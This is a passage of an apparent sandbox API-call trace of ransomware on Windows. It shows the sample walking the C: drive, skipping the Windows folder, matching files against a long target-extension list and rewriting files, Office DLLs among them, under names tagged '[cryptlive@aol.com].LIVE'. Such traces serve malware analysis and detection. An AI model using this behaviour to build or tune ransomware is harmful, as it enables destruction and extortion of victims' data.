"c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0168.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0168.857] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fc6c | out: lpNewFilePointer=0x0) returned 1 [0168.857] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fc2c | out: lpNewFilePointer=0x0) returned 1 [0168.857] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f10058*, lpNumberOfBytesRead=0x352fc38*=0x40000, lpOverlapped=0x0) returned 1 [0169.000] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x352fc2c | out: lpNewFilePointer=0x0) returned 1 [0169.001] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f50058*, lpNumberOfBytesRead=0x352fc38*=0x40000, lpOverlapped=0x0) returned 1 [0169.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x352fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0169.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x352fc2c | out: lpNewFilePointer=0x0) returned 1 [0169.549] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x352fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f90058*, lpNumberOfBytesRead=0x352fc38*=0x40000, lpOverlapped=0x0) returned 1 [0169.582] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0169.582] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f10020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x352fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesWritten=0x352fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0169.836] SetEndOfFile (hFile=0x1f4) returned 1 [0169.836] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40000) returned 0x40df0c8 [0169.843] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fc7c | out: lpNewFilePointer=0x0) returned 1 [0169.843] WriteFile (in: hFile=0x1f4, lpBuffer=0x40df0c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352fc88, lpOverlapped=0x0 | out: lpBuffer=0x40df0c8*, lpNumberOfBytesWritten=0x352fc88*=0x40000, lpOverlapped=0x0) returned 1 [0169.845] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcdbd5, lpNewFilePointer=0x0, dwMoveMethod=0x352fc7c | out: lpNewFilePointer=0x0) returned 1 [0169.845] WriteFile (in: hFile=0x1f4, lpBuffer=0x40df0c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352fc88, lpOverlapped=0x0 | out: lpBuffer=0x40df0c8*, lpNumberOfBytesWritten=0x352fc88*=0x40000, lpOverlapped=0x0) returned 1 [0169.852] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x229380, lpNewFilePointer=0x0, dwMoveMethod=0x352fc7c | out: lpNewFilePointer=0x0) returned 1 [0169.852] WriteFile (in: hFile=0x1f4, lpBuffer=0x40df0c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x352fc88, lpOverlapped=0x0 | out: lpBuffer=0x40df0c8*, lpNumberOfBytesWritten=0x352fc88*=0x40000, lpOverlapped=0x0) returned 1 [0170.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x40df0c8 | out: hHeap=0x570000) returned 1 [0170.076] CloseHandle (hObject=0x1f4) returned 1 [0170.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0170.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.077] lstrlenW (lpString=".doc") returned 4 [0170.077] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.077] lstrlenW (lpString=".docx") returned 5 [0170.077] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0170.077] lstrlenW (lpString=".pdf") returned 4 [0170.077] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.077] lstrlenW (lpString=".xls") returned 4 [0170.077] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.077] lstrlenW (lpString=".xlsx") returned 5 [0170.077] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0170.077] lstrlenW (lpString=".ppt") returned 4 [0170.077] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.077] lstrlenW (lpString=".zip") returned 4 [0170.077] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.077] lstrlenW (lpString=".rar") returned 4 [0170.077] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.077] lstrlenW (lpString=".bz2") returned 4 [0170.077] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.077] lstrlenW (lpString=".7z") returned 3 [0170.077] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.077] lstrlenW (lpString=".dbf") returned 4 [0170.077] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.077] lstrlenW (lpString=".1cd") returned 4 [0170.077] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.077] lstrlenW (lpString=".jpg") returned 4 [0170.077] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.078] lstrlenW (lpString=".doc") returned 4 [0170.078] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0170.078] lstrlenW (lpString=".docx") returned 5 [0170.078] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0170.078] lstrlenW (lpString=".pdf") returned 4 [0170.078] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0170.078] lstrlenW (lpString=".xls") returned 4 [0170.078] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0170.078] lstrlenW (lpString=".xlsx") returned 5 [0170.078] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0170.078] lstrlenW (lpString=".ppt") returned 4 [0170.078] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0170.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.078] lstrlenW (lpString=".zip") returned 4 [0170.078] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0170.078] lstrlenW (lpString=".rar") returned 4 [0170.078] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0170.078] lstrlenW (lpString=".bz2") returned 4 [0170.078] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0170.078] lstrlenW (lpString=".7z") returned 3 [0170.078] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0170.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.078] lstrlenW (lpString=".dbf") returned 4 [0170.078] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0170.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.078] lstrlenW (lpString=".1cd") returned 4 [0170.078] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0170.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL") returned 72 [0170.078] lstrlenW (lpString=".jpg") returned 4 [0170.078] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0170.078] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0170.079] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0170.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0170.079] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=899992) returned 1 [0170.080] CloseHandle (hObject=0x1f4) returned 1 [0170.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0170.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0170.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0170.080] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.080] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0170.081] GetLastError () returned 0x0 [0170.081] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesRead=0x352fed4*=0xdbb98, lpOverlapped=0x0) returned 1 [0170.101] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f10020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesWritten=0x352fc9c*=0xdbba0, lpOverlapped=0x0) returned 1 [0170.251] ReadFile (in: hFile=0x1f4, lpBuffer=0x3f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0170.251] WriteFile (in: hFile=0x1d8, lpBuffer=0x3f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f10020*, lpNumberOfBytesWritten=0x352fc9c*=0xea, lpOverlapped=0x0) returned 1 [0170.251] SetEndOfFile (hFile=0x1d8) returned 1 [0170.251] CloseHandle (hObject=0x1d8) returned 1 [0170.251] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0170.251] SetEndOfFile (hFile=0x1f4) returned 1 [0170.259] CloseHandle (hObject=0x1f4) returned 1 [0170.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) Thread: id = 86 os_tid = 0x53c [0168.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x3b946a8 [0168.169] lstrlenW (lpString="C:") returned 2 [0168.169] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x366fd00 | out: lpFindFileData=0x366fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5e6b18 [0168.169] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0168.169] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0168.169] lstrlenW (lpString="$Recycle.Bin") returned 12 [0168.169] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0168.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x3ba46b0 [0168.170] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0168.170] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x366fa84 | out: lpFindFileData=0x366fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e8fb0 [0168.170] FindNextFileW (in: hFindFile=0x5e8fb0, lpFindFileData=0x366fa84 | out: lpFindFileData=0x366fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.170] FindNextFileW (in: hFindFile=0x5e8fb0, lpFindFileData=0x366fa84 | out: lpFindFileData=0x366fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0168.170] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0168.170] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0168.170] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0168.170] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0168.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x3bb46b8 [0168.171] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0168.171] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x366f808 | out: lpFindFileData=0x366f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e8ff0 [0168.171] FindNextFileW (in: hFindFile=0x5e8ff0, lpFindFileData=0x366f808 | out: lpFindFileData=0x366f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.171] FindNextFileW (in: hFindFile=0x5e8ff0, lpFindFileData=0x366f808 | out: lpFindFileData=0x366f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x57b0bfa0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.171] lstrlenW (lpString="desktop.ini") returned 11 [0168.171] lstrlenW (lpString=".1cd") returned 4 [0168.171] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0168.171] lstrlenW (lpString=".3ds") returned 4 [0168.171] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0168.171] lstrlenW (lpString=".3fr") returned 4 [0168.171] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0168.171] lstrlenW (lpString=".3g2") returned 4 [0168.171] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0168.171] lstrlenW (lpString=".3gp") returned 4 [0168.171] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0168.171] lstrlenW (lpString=".7z") returned 3 [0168.171] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0168.171] lstrlenW (lpString=".accda") returned 6 [0168.171] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0168.171] lstrlenW (lpString=".accdb") returned 6 [0168.172] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0168.172] lstrlenW (lpString=".accdc") returned 6 [0168.172] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0168.172] lstrlenW (lpString=".accde") returned 6 [0168.172] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0168.172] lstrlenW (lpString=".accdt") returned 6 [0168.172] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0168.172] lstrlenW (lpString=".accdw") returned 6 [0168.172] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0168.172] lstrlenW (lpString=".adb") returned 4 [0168.172] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".adp") returned 4 [0168.172] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".ai") returned 3 [0168.172] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0168.172] lstrlenW (lpString=".ai3") returned 4 [0168.172] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".ai4") returned 4 [0168.172] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".ai5") returned 4 [0168.172] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".ai6") returned 4 [0168.172] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".ai7") returned 4 [0168.172] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".ai8") returned 4 [0168.172] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".anim") returned 5 [0168.172] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0168.172] lstrlenW (lpString=".arw") returned 4 [0168.172] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".as") returned 3 [0168.172] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0168.172] lstrlenW (lpString=".asa") returned 4 [0168.172] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0168.172] lstrlenW (lpString=".asc") returned 4 [0168.172] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".ascx") returned 5 [0168.173] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0168.173] lstrlenW (lpString=".asm") returned 4 [0168.173] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".asmx") returned 5 [0168.173] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0168.173] lstrlenW (lpString=".asp") returned 4 [0168.173] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".aspx") returned 5 [0168.173] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0168.173] lstrlenW (lpString=".asr") returned 4 [0168.173] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".asx") returned 4 [0168.173] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".avi") returned 4 [0168.173] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".avs") returned 4 [0168.173] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".backup") returned 7 [0168.173] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0168.173] lstrlenW (lpString=".bak") returned 4 [0168.173] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".bay") returned 4 [0168.173] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".bd") returned 3 [0168.173] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0168.173] lstrlenW (lpString=".bin") returned 4 [0168.173] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".bmp") returned 4 [0168.173] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".bz2") returned 4 [0168.173] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".c") returned 2 [0168.173] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0168.173] lstrlenW (lpString=".cdr") returned 4 [0168.173] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0168.173] lstrlenW (lpString=".cer") returned 4 [0168.174] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".cf") returned 3 [0168.174] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0168.174] lstrlenW (lpString=".cfc") returned 4 [0168.174] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".cfm") returned 4 [0168.174] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".cfml") returned 5 [0168.174] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0168.174] lstrlenW (lpString=".cfu") returned 4 [0168.174] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".chm") returned 4 [0168.174] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".cin") returned 4 [0168.174] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".class") returned 6 [0168.174] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0168.174] lstrlenW (lpString=".clx") returned 4 [0168.174] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".config") returned 7 [0168.174] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0168.174] lstrlenW (lpString=".cpp") returned 4 [0168.174] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".cr2") returned 4 [0168.174] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".crt") returned 4 [0168.174] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".crw") returned 4 [0168.174] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".cs") returned 3 [0168.174] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0168.174] lstrlenW (lpString=".css") returned 4 [0168.174] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0168.174] lstrlenW (lpString=".csv") returned 4 [0168.175] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".cub") returned 4 [0168.175] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dae") returned 4 [0168.175] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dat") returned 4 [0168.175] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".db") returned 3 [0168.175] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0168.175] lstrlenW (lpString=".dbf") returned 4 [0168.175] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dbx") returned 4 [0168.175] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dc3") returned 4 [0168.175] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dcm") returned 4 [0168.175] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0168.175] lstrlenW (lpString=".dcr") returned 4 [0168.175] lstrcmpiW 